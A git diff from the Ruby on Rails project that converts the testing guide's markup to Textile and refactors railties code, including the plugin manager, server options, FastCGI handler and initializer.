+h3. Rake Tasks for Running your Tests
You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
-[options="header"]
-|===================================================================================
-|Tasks |Description
-|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-|+rake test:units+ |Runs all the unit tests from +test/unit+
-|+rake test:functionals+ |Runs all the functional tests from +test/functional+
-|+rake test:integration+ |Runs all the integration tests from +test/integration+
-|+rake test:recent+ |Tests recent changes
-|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion
-|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
-|===================================================================================
+|_.Tasks |_.Description|
+|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
+|+rake test:units+ |Runs all the unit tests from +test/unit+|
+|+rake test:functionals+ |Runs all the functional tests from +test/functional+|
+|+rake test:integration+ |Runs all the integration tests from +test/integration+|
+|+rake test:recent+ |Tests recent changes|
+|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion|
+|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)|
-
-== Brief Note About Test::Unit ==
+h3. Brief Note About +Test::Unit+
Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests.
-NOTE: For more information on +Test::Unit+, refer to link:http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/[test/unit Documentation]
+NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
-== Setup and Teardown ==
+h3. Setup and Teardown
If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
-[source,ruby]
---------------------------------------------------
+<ruby>
require 'test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -814,7 +764,7 @@ class PostsControllerTest < ActionController::TestCase
# called after every single test
def teardown
# as we are re-initializing @post before every test
- # setting it to nil here is not essential but I hope
+ # setting it to nil here is not essential but I hope
# you understand how you can use the teardown method
@post = nil
end
@@ -831,21 +781,20 @@ class PostsControllerTest < ActionController::TestCase
assert_redirected_to posts_path
end
-
+
end
---------------------------------------------------
+</ruby>
Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as ActiveSupport::Callbacks. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
- * a block
- * a method (like in the earlier example)
- * a method name as a symbol
- * a lambda
-
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
-[source,ruby]
---------------------------------------------------
+<ruby>
require '../test_helper'
class PostsControllerTest < ActionController::TestCase
@@ -862,7 +811,7 @@ class PostsControllerTest < ActionController::TestCase
get :show, :id => @post.id
assert_response :success
end
-
+
def test_should_update_post
put :update, :id => @post.id, :post => { }
assert_redirected_to post_path(assigns(:post))
@@ -875,32 +824,31 @@ class PostsControllerTest < ActionController::TestCase
assert_redirected_to posts_path
end
-
- private
-
+
+ private
+
def initialize_post
@post = posts(:one)
end
-
+
end
---------------------------------------------------
+</ruby>
-== Testing Routes ==
+h3. Testing Routes
Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
-[source,ruby]
---------------------------------------------------
+<ruby>
def test_should_route_to_post
assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
---------------------------------------------------
+</ruby>
-== Testing Your Mailers ==
+h3. Testing Your Mailers
Testing mailer classes requires some specific tools to do a thorough job.
-=== Keeping the Postman in Check ===
+h4. Keeping the Postman in Check
Your +ActionMailer+ classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
@@ -910,26 +858,25 @@ The goals of testing your +ActionMailer+ classes are to ensure that:
* the email content is correct (subject, sender, body, etc)
* the right emails are being sent at the right times
-==== From All Sides ====
+h5. From All Sides
There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture -- yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-=== Unit Testing ===
+h4. Unit Testing
In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-==== Revenge of the Fixtures ====
+h5. Revenge of the Fixtures
For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-==== The Basic Test case ====
+h5. The Basic Test Case
Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
-[source, ruby]
--------------------------------------------------
+<ruby>
require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
@@ -945,30 +892,29 @@ class UserMailerTest < ActionMailer::TestCase
end
end
--------------------------------------------------
+</ruby>
In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
Here's the content of the +invite+ fixture:
--------------------------------------------------
+<pre>
Hi friend@example.com,
-You have been invited.
+You have been invited.
Cheers!
--------------------------------------------------
+</pre>
This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-=== Functional Testing ===
+h4. Functional Testing
Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:
-[source, ruby]
-----------------------------------------------------------------
+<ruby>
require 'test_helper'
class UserControllerTest < ActionController::TestCase
@@ -977,28 +923,29 @@ class UserControllerTest < ActionController::TestCase
post :invite_friend, :email => 'friend@example.com'
end
invite_email = ActionMailer::Base.deliveries.first
-
+
assert_equal invite_email.subject, "You have been invited by me@example.com"
assert_equal invite_email.to[0], 'friend@example.com'
assert_match /Hi friend@example.com/, invite_email.body
end
end
-----------------------------------------------------------------
+</ruby>
-== Other Testing Approaches
+h3. Other Testing Approaches
The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
-* link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use.
-* link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures.
-* link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions.
-* link:http://rspec.info/[RSpec], a behavior-driven development framework
+* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
+* "Factory Girl":http://github.com/thoughtbot/factory_girl/tree/master, as replacement for fixtures.
+* "Machinist":http://github.com/notahat/machinist/tree/master, another replacement for fixtures.
+* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
+* "RSpec":http://rspec.info/, a behavior-driven development framework
-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8
-* November 13, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
-* October 14, 2008: Edit and formatting pass by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 12, 2008: First draft by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication)
+* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication)
+* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication)
diff --git a/railties/html/500.html b/railties/html/500.html
index 74142cb04a..ec3bbf02c4 100644
--- a/railties/html/500.html
+++ b/railties/html/500.html
@@ -25,9 +25,6 @@
<div class="dialog">
<h1>We're sorry, but something went wrong.</h1>
<p>We've been notified about this issue and we'll take a look at it shortly.</p>
- <p><small>(If you're the administrator of this website, then please read
- the log file "<%= "<%s>" % "%=h RAILS_ENV %" %>.log"
- to find out what went wrong.)</small></p>
</div>
</body>
</html>
diff --git a/railties/html/index.html b/railties/html/index.html
index e84c359387..cd337dc74c 100644
--- a/railties/html/index.html
+++ b/railties/html/index.html
@@ -99,7 +99,12 @@
}
#about-content td.name {color: #555}
#about-content td.value {color: #000}
-
+
+ #about-content ul {
+ padding: 0;
+ list-style-type: none;
+ }
+
#about-content.failure {
background-color: #fcc;
border: 1px solid #f00;
@@ -229,6 +234,7 @@
<li><a href="http://api.rubyonrails.org/">Rails API</a></li>
<li><a href="http://stdlib.rubyonrails.org/">Ruby standard library</a></li>
<li><a href="http://corelib.rubyonrails.org/">Ruby core</a></li>
+ <li><a href="http://guides.rubyonrails.org/">Rails Guides</a></li>
</ul>
</li>
</ul>
diff --git a/railties/lib/commands/plugin.rb b/railties/lib/commands/plugin.rb
index 9ff4739562..3d76bcc73f 100644
--- a/railties/lib/commands/plugin.rb
+++ b/railties/lib/commands/plugin.rb
@@ -1,47 +1,8 @@
# Rails Plugin Manager.
-#
-# Listing available plugins:
-#
-# $ ./script/plugin list
-# continuous_builder http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder
-# asset_timestamping http://svn.aviditybytes.com/rails/plugins/asset_timestamping
-# enumerations_mixin http://svn.protocool.com/rails/plugins/enumerations_mixin/trunk
-# calculations http://techno-weenie.net/svn/projects/calculations/
-# ...
#
# Installing plugins:
#
# $ ./script/plugin install continuous_builder asset_timestamping
-#
-# Finding Repositories:
-#
-# $ ./script/plugin discover
-#
-# Adding Repositories:
-#
-# $ ./script/plugin source http://svn.protocool.com/rails/plugins/
-#
-# How it works:
-#
-# * Maintains a list of subversion repositories that are assumed to have
-# a plugin directory structure. Manage them with the (source, unsource,
-# and sources commands)
-#
-# * The discover command scrapes the following page for things that
-# look like subversion repositories with plugins:
-# http://wiki.rubyonrails.org/rails/pages/Plugins
-#
-# * Unless you specify that you want to use svn, script/plugin uses plain old
-# HTTP for downloads. The following bullets are true if you specify
-# that you want to use svn.
-#
-# * If `vendor/plugins` is under subversion control, the script will
-# modify the svn:externals property and perform an update. You can
-# use normal subversion commands to keep the plugins up to date.
-#
-# * Or, if `vendor/plugins` is not under subversion control, the
-# plugin is pulled via `svn checkout` or `svn export` but looks
-# exactly the same.
#
# Specifying revisions:
#
@@ -134,7 +95,8 @@ class RailsEnvironment
def externals
return [] unless use_externals?
ext = `svn propget svn:externals "#{root}/vendor/plugins"`
- ext.reject{ |line| line.strip == '' }.map do |line|
+ lines = ext.respond_to?(:lines) ? ext.lines : ext
+ lines.reject{ |line| line.strip == '' }.map do |line|
line.strip.split(/\s+/, 2)
end
end
@@ -155,13 +117,13 @@ end
class Plugin
attr_reader :name, :uri
- def initialize(uri, name=nil)
+ def initialize(uri, name = nil)
@uri = uri
guess_name(uri)
end
def self.find(name)
- name =~ /\// ? new(name) : Repositories.instance.find_plugin(name)
+ new(name)
end
def to_s
@@ -207,10 +169,13 @@ class Plugin
else
puts "Plugin doesn't exist: #{path}"
end
- # clean up svn:externals
- externals = rails_env.externals
- externals.reject!{|n,u| name == n or name == u}
- rails_env.externals = externals
+
+ if rails_env.use_externals?
+ # clean up svn:externals
+ externals = rails_env.externals
+ externals.reject!{|n,u| name == n or name == u}
+ rails_env.externals = externals
+ end
end
def info
@@ -278,8 +243,8 @@ class Plugin
base_cmd += " #{options[:revision]}" if options[:revision]
puts base_cmd if $verbose
if system(base_cmd)
- puts "removing: .git" if $verbose
- rm_rf ".git"
+ puts "removing: .git .gitignore" if $verbose
+ rm_rf %w(.git .gitignore)
else
rm_rf install_path
end
@@ -309,129 +274,6 @@ class Plugin
end
end
-class Repositories
- include Enumerable
-
- def initialize(cache_file = File.join(find_home, ".rails-plugin-sources"))
- @cache_file = File.expand_path(cache_file)
- load!
- end
-
- def each(&block)
- @repositories.each(&block)
- end
-
- def add(uri)
- unless find{|repo| repo.uri == uri }
- @repositories.push(Repository.new(uri)).last
- end
- end
-
- def remove(uri)
- @repositories.reject!{|repo| repo.uri == uri}
- end
-
- def exist?(uri)
- @repositories.detect{|repo| repo.uri == uri }
- end
-
- def all
- @repositories
- end
-
- def find_plugin(name)
- @repositories.each do |repo|
- repo.each do |plugin|
- return plugin if plugin.name == name
- end
- end
- return nil
- end
-
- def load!
- contents = File.exist?(@cache_file) ? File.read(@cache_file) : defaults
- contents = defaults if contents.empty?
- @repositories = contents.split(/\n/).reject do |line|
- line =~ /^\s*#/ or line =~ /^\s*$/
- end.map { |source| Repository.new(source.strip) }
- end
-
- def save
- File.open(@cache_file, 'w') do |f|
- each do |repo|
- f.write(repo.uri)
- f.write("\n")
- end
- end
- end
-
- def defaults
- <<-DEFAULTS
- http://dev.rubyonrails.com/svn/rails/plugins/
- DEFAULTS
- end
-
- def find_home
- ['HOME', 'USERPROFILE'].each do |homekey|
- return ENV[homekey] if ENV[homekey]
- end
- if ENV['HOMEDRIVE'] && ENV['HOMEPATH']
- return "#{ENV['HOMEDRIVE']}:#{ENV['HOMEPATH']}"
- end
- begin
- File.expand_path("~")
- rescue StandardError => ex
- if File::ALT_SEPARATOR
- "C:/"
- else
- "/"
- end
- end
- end
-
- def self.instance
- @instance ||= Repositories.new
- end
-
- def self.each(&block)
- self.instance.each(&block)
- end
-end
-
-class Repository
- include Enumerable
- attr_reader :uri, :plugins
-
- def initialize(uri)
- @uri = uri.chomp('/') << "/"
- @plugins = nil
- end
-
- def plugins
- unless @plugins
- if $verbose
- puts "Discovering plugins in #{@uri}"
- puts index
- end
-
- @plugins = index.reject{ |line| line !~ /\/$/ }
- @plugins.map! { |name| Plugin.new(File.join(@uri, name), name) }
- end
-
- @plugins
- end
-
- def each(&block)
- plugins.each(&block)
- end
-
- private
- def index
- @index ||= RecursiveHTTPFetcher.new(@uri).ls
- end
-end
-
-
# load default environment and parse arguments
require 'optparse'
module Commands
@@ -471,14 +313,8 @@ module Commands
o.separator ""
o.separator "COMMANDS"
- o.separator " discover Discover plugin repositories."
- o.separator " list List available plugins."
o.separator " install Install plugin(s) from known repositories or URLs."
- o.separator " update Update installed plugins."
o.separator " remove Uninstall plugins."
- o.separator " source Add a plugin source repository."
- o.separator " unsource Remove a plugin repository."
- o.separator " sources List currently configured plugin repositories."
o.separator ""
o.separator "EXAMPLES"
@@ -490,20 +326,6 @@ module Commands
o.separator " #{@script_name} install git://github.com/SomeGuy/my_awesome_plugin.git\n"
o.separator " Install a plugin and add a svn:externals entry to vendor/plugins"
o.separator " #{@script_name} install -x continuous_builder\n"
- o.separator " List all available plugins:"
- o.separator " #{@script_name} list\n"
- o.separator " List plugins in the specified repository:"
- o.separator " #{@script_name} list --source=http://dev.rubyonrails.com/svn/rails/plugins/\n"
- o.separator " Discover and prompt to add new repositories:"
- o.separator " #{@script_name} discover\n"
- o.separator " Discover new repositories but just list them, don't add anything:"
- o.separator " #{@script_name} discover -l\n"
- o.separator " Add a new repository to the source list:"
- o.separator " #{@script_name} source http://dev.rubyonrails.com/svn/rails/plugins/\n"
- o.separator " Remove a repository from the source list:"
- o.separator " #{@script_name} unsource http://dev.rubyonrails.com/svn/rails/plugins/\n"
- o.separator " Show currently configured repositories:"
- o.separator " #{@script_name} sources\n"
end
end
@@ -512,7 +334,7 @@ module Commands
options.parse!(general)
command = general.shift
- if command =~ /^(list|discover|install|source|unsource|sources|remove|update|info)$/
+ if command =~ /^(install|remove)$/
command = Commands.const_get(command.capitalize).new(self)
command.parse!(sub)
else
@@ -534,218 +356,6 @@ module Commands
end
end
-
- class List
- def initialize(base_command)
- @base_command = base_command
- @sources = []
- @local = false
- @remote = true
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} list [OPTIONS] [PATTERN]"
- o.define_head "List available plugins."
- o.separator ""
- o.separator "Options:"
- o.separator ""
- o.on( "-s", "--source=URL1,URL2", Array,
- "Use the specified plugin repositories.") {|sources| @sources = sources}
- o.on( "--local",
- "List locally installed plugins.") {|local| @local, @remote = local, false}
- o.on( "--remote",
- "List remotely available plugins. This is the default behavior",
- "unless --local is provided.") {|remote| @remote = remote}
- end
- end
-
- def parse!(args)
- options.order!(args)
- unless @sources.empty?
- @sources.map!{ |uri| Repository.new(uri) }
- else
- @sources = Repositories.instance.all
- end
- if @remote
- @sources.map{|r| r.plugins}.flatten.each do |plugin|
- if @local or !plugin.installed?
- puts plugin.to_s
- end
- end
- else
- cd "#{@base_command.environment.root}/vendor/plugins"
- Dir["*"].select{|p| File.directory?(p)}.each do |name|
- puts name
- end
- end
- end
- end
-
-
- class Sources
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} sources [OPTIONS] [PATTERN]"
- o.define_head "List configured plugin repositories."
- o.separator ""
- o.separator "Options:"
- o.separator ""
- o.on( "-c", "--check",
- "Report status of repository.") { |sources| @sources = sources}
- end
- end
-
- def parse!(args)
- options.parse!(args)
- Repositories.each do |repo|
- puts repo.uri
- end
- end
- end
-
-
- class Source
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} source REPOSITORY [REPOSITORY [REPOSITORY]...]"
- o.define_head "Add new repositories to the default search list."
- end
- end
-
- def parse!(args)
- options.parse!(args)
- count = 0
- args.each do |uri|
- if Repositories.instance.add(uri)
- puts "added: #{uri.ljust(50)}" if $verbose
- count += 1
- else
- puts "failed: #{uri.ljust(50)}"
- end
- end
- Repositories.instance.save
- puts "Added #{count} repositories."
- end
- end
-
-
- class Unsource
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} unsource URI [URI [URI]...]"
- o.define_head "Remove repositories from the default search list."
- o.separator ""
- o.on_tail("-h", "--help", "Show this help message.") { puts o; exit }
- end
- end
-
- def parse!(args)
- options.parse!(args)
- count = 0
- args.each do |uri|
- if Repositories.instance.remove(uri)
- count += 1
- puts "removed: #{uri.ljust(50)}"
- else
- puts "failed: #{uri.ljust(50)}"
- end
- end
- Repositories.instance.save
- puts "Removed #{count} repositories."
- end
- end
-
-
- class Discover
- def initialize(base_command)
- @base_command = base_command
- @list = false
- @prompt = true
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} discover URI [URI [URI]...]"
- o.define_head "Discover repositories referenced on a page."
- o.separator ""
- o.separator "Options:"
- o.separator ""
- o.on( "-l", "--list",
- "List but don't prompt or add discovered repositories.") { |list| @list, @prompt = list, !@list }
- o.on( "-n", "--no-prompt",
- "Add all new repositories without prompting.") { |v| @prompt = !v }
- end
- end
-
- def parse!(args)
- options.parse!(args)
- args = ['http://wiki.rubyonrails.org/rails/pages/Plugins'] if args.empty?
- args.each do |uri|
- scrape(uri) do |repo_uri|
- catch(:next_uri) do
- if @prompt
- begin
- $stdout.print "Add #{repo_uri}? [Y/n] "
- throw :next_uri if $stdin.gets !~ /^y?$/i
- rescue Interrupt
- $stdout.puts
- exit 1
- end
- elsif @list
- puts repo_uri
- throw :next_uri
- end
- Repositories.instance.add(repo_uri)
- puts "discovered: #{repo_uri}" if $verbose or !@prompt
- end
- end
- end
- Repositories.instance.save
- end
-
- def scrape(uri)
- require 'open-uri'
- puts "Scraping #{uri}" if $verbose
- dupes = []
- content = open(uri).each do |line|
- begin
- if line =~ /<a[^>]*href=['"]([^'"]*)['"]/ || line =~ /(svn:\/\/[^<|\n]*)/
- uri = $1
- if uri =~ /^\w+:\/\// && uri =~ /\/plugins\// && uri !~ /\/browser\// && uri !~ /^http:\/\/wiki\.rubyonrails/ && uri !~ /http:\/\/instiki/
- uri = extract_repository_uri(uri)
- yield uri unless dupes.include?(uri) || Repositories.instance.exist?(uri)
- dupes << uri
- end
- end
- rescue
- puts "Problems scraping '#{uri}': #{$!.to_s}"
- end
- end
- end
-
- def extract_repository_uri(uri)
- uri.match(/(svn|https?):.*\/plugins\//i)[0]
- end
- end
-
class Install
def initialize(base_command)
@base_command = base_command
@@ -816,41 +426,6 @@ module Commands
end
end
- class Update
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} update [name [name]...]"
- o.on( "-r REVISION", "--revision REVISION",
- "Checks out the given revision from subversion.",
- "Ignored if subversion is not used.") { |v| @revision = v }
- o.define_head "Update plugins."
- end
- end
-
- def parse!(args)
- options.parse!(args)
- root = @base_command.environment.root
- cd root
- args = Dir["vendor/plugins/*"].map do |f|
- File.directory?("#{f}/.svn") ? File.basename(f) : nil
- end.compact if args.empty?
- cd "vendor/plugins"
- args.each do |name|
- if File.directory?(name)
- puts "Updating plugin: #{name}"
- system("svn #{$verbose ? '' : '-q'} up \"#{name}\" #{@revision ? "-r #{@revision}" : ''}")
- else
- puts "Plugin doesn't exist: #{name}"
- end
- end
- end
- end
-
class Remove
def initialize(base_command)
@base_command = base_command
diff --git a/railties/lib/commands/server.rb b/railties/lib/commands/server.rb
index 43b18004c0..ebe34a42cd 100644
--- a/railties/lib/commands/server.rb
+++ b/railties/lib/commands/server.rb
@@ -17,7 +17,8 @@ options = {
:environment => (ENV['RAILS_ENV'] || "development").dup,
:config => RAILS_ROOT + "/config.ru",
:detach => false,
- :debugger => false
+ :debugger => false,
+ :path => nil
}
ARGV.clone.options do |opts|
@@ -32,6 +33,7 @@ ARGV.clone.options do |opts|
opts.on("-e", "--environment=name", String,
"Specifies the environment to run this server under (test/development/production).",
"Default: development") { |v| options[:environment] = v }
+ opts.on("-P", "--path=/path", String, "Runs Rails app mounted at a specific path.", "Default: /") { |v| options[:path] = v }
opts.separator ""
@@ -50,7 +52,7 @@ unless server
end
puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}"
+puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}#{options[:path]}"
%w(cache pids sessions sockets).each do |dir_to_make|
FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make))
@@ -83,11 +85,20 @@ else
inner_app = ActionController::Dispatcher.new
end
+if options[:path].nil?
+ map_path = "/"
+else
+ ActionController::Base.relative_url_root = options[:path]
+ map_path = options[:path]
+end
+
app = Rack::Builder.new {
use Rails::Rack::LogTailer unless options[:detach]
- use Rails::Rack::Static
use Rails::Rack::Debugger if options[:debugger]
- run inner_app
+ map map_path do
+ use Rails::Rack::Static
+ run inner_app
+ end
}.to_app
puts "=> Call with -d to detach"
diff --git a/railties/lib/console_app.rb b/railties/lib/console_app.rb
index 96bf3117c8..d7d01d703f 100644
--- a/railties/lib/console_app.rb
+++ b/railties/lib/console_app.rb
@@ -24,8 +24,7 @@ end
#reloads the environment
def reload!
puts "Reloading..."
- dispatcher = ActionController::Dispatcher.new($stdout)
- dispatcher.cleanup_application
- dispatcher.reload_application
+ Dispatcher.cleanup_application
+ Dispatcher.reload_application
true
end
diff --git a/railties/lib/fcgi_handler.rb b/railties/lib/fcgi_handler.rb
index 1256ef2286..0cd2dc51c6 100644
--- a/railties/lib/fcgi_handler.rb
+++ b/railties/lib/fcgi_handler.rb
@@ -38,6 +38,8 @@ class RailsFCGIHandler
# Safely install signal handlers.
install_signal_handlers
+ @app = Dispatcher.new
+
# Start error timestamp at 11 seconds ago.
@last_error_on = Time.now - 11
end
@@ -69,36 +71,36 @@ class RailsFCGIHandler
protected
def process_each_request(provider)
- cgi = nil
+ request = nil
catch :exit do
- provider.each_cgi do |cgi|
- process_request(cgi)
+ provider.each do |request|
+ process_request(request)
case when_ready
when :reload
reload!
when :restart
- close_connection(cgi)
+ close_connection(request)
restart!
when :exit
- close_connection(cgi)
+ close_connection(request)
throw :exit
end
end
end
rescue SignalException => signal
raise unless signal.message == 'SIGUSR1'
- close_connection(cgi)
+ close_connection(request)
end
- def process_request(cgi)
+ def process_request(request)
@processing, @when_ready = true, nil
gc_countdown
with_signal_handler 'USR1' do
begin
- ::Rack::Handler::FastCGI.serve(cgi, Dispatcher.new)
+ ::Rack::Handler::FastCGI.serve(request, @app)
rescue SignalException, SystemExit
raise
rescue Exception => error
@@ -231,7 +233,7 @@ class RailsFCGIHandler
end
end
- def close_connection(cgi)
- cgi.instance_variable_get("@request").finish if cgi
+ def close_connection(request)
+ request.finish if request
end
end
diff --git a/railties/lib/initializer.rb b/railties/lib/initializer.rb
index da064c86aa..8eb4212737 100644
--- a/railties/lib/initializer.rb
+++ b/railties/lib/initializer.rb
@@ -132,10 +132,10 @@ module Rails
add_gem_load_paths
require_frameworks
- preload_frameworks
set_autoload_paths
add_plugin_load_paths
load_environment
+ preload_frameworks
initialize_encoding
initialize_database
@@ -167,11 +167,18 @@ module Rails
load_gems
check_gem_dependencies
+ # bail out if gems are missing - note that check_gem_dependencies will have
+ # already called abort() unless $gems_rake_task is set
+ return unless gems_dependencies_loaded
+
load_application_initializers
# the framework is now fully initialized
after_initialize
+ # Setup database middleware after initializers have run
+ initialize_database_middleware
+
# Prepare dispatcher callbacks and run 'prepare' callbacks
prepare_dispatcher
@@ -270,7 +277,7 @@ module Rails
configuration.frameworks.each do |framework|
# String#classify and #constantize aren't available yet.
toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase })
- toplevel.load_all!
+ toplevel.load_all! if toplevel.respond_to?(:load_all!)
end
end
end
@@ -294,7 +301,9 @@ module Rails
end
def load_gems
- @configuration.gems.each { |gem| gem.load }
+ unless $gems_build_rake_task
+ @configuration.gems.each { |gem| gem.load }
+ end
end
def check_gem_dependencies
@@ -302,7 +311,7 @@ module Rails
if unloaded_gems.size > 0
@gems_dependencies_loaded = false
# don't print if the gems rake tasks are being run
- unless $rails_rake_task
+ unless $gems_rake_task
abort <<-end_error
Missing these required gems:
#{unloaded_gems.map { |gem| "#{gem.name} #{gem.requirement}" } * "\n "}
@@ -409,7 +418,18 @@ Run `rake gems:install` to install the missing gems.
if configuration.frameworks.include?(:active_record)
ActiveRecord::Base.configurations = configuration.database_configuration
ActiveRecord::Base.establish_connection
- configuration.middleware.use ActiveRecord::QueryCache
+ end
+ end
+
+ def initialize_database_middleware
+ if configuration.frameworks.include?(:active_record)
+ if ActionController::Base.session_store == ActiveRecord::SessionStore
+ configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::ConnectionAdapters::ConnectionManagement
+ configuration.middleware.insert_before :"ActiveRecord::SessionStore", ActiveRecord::QueryCache
+ else
+ configuration.middleware.use ActiveRecord::ConnectionAdapters::ConnectionManagement
+ configuration.middleware.use ActiveRecord::QueryCache
+ end
end
end
@@ -481,9 +501,9 @@ Run `rake gems:install` to install the missing gems.
# set to use Configuration#view_path.
def initialize_framework_views
if configuration.frameworks.include?(:action_view)
- view_path = ActionView::Template::Path.new(configuration.view_path)
- ActionMailer::Base.template_root ||= view_path if configuration.frameworks.include?(:action_mailer)
- ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.empty?
+ view_path = ActionView::PathSet.type_cast(configuration.view_path)
+ ActionMailer::Base.template_root = view_path if configuration.frameworks.include?(:action_mailer) && ActionMailer::Base.view_paths.blank?
+ ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.blank?
end
end
@@ -495,7 +515,7 @@ Run `rake gems:install` to install the missing gems.
ActionController::Routing.controller_paths += configuration.controller_paths
ActionController::Routing::Routes.add_configuration_file(configuration.routes_configuration_file)
- ActionController::Routing::Routes.reload
+ ActionController::Routing::Routes.reload!
end
# Sets the dependency loading mechanism based on the value of
@@ -544,6 +564,9 @@ Run `rake gems:install` to install the missing gems.
end
def initialize_metal
+ Rails::Rack::Metal.requested_metals = configuration.metals
+ Rails::Rack::Metal.metal_paths += plugin_loader.engine_metal_paths
+
configuration.middleware.insert_before(
:"ActionController::RewindableInput",
Rails::Rack::Metal, :if => Rails::Rack::Metal.metals.any?)
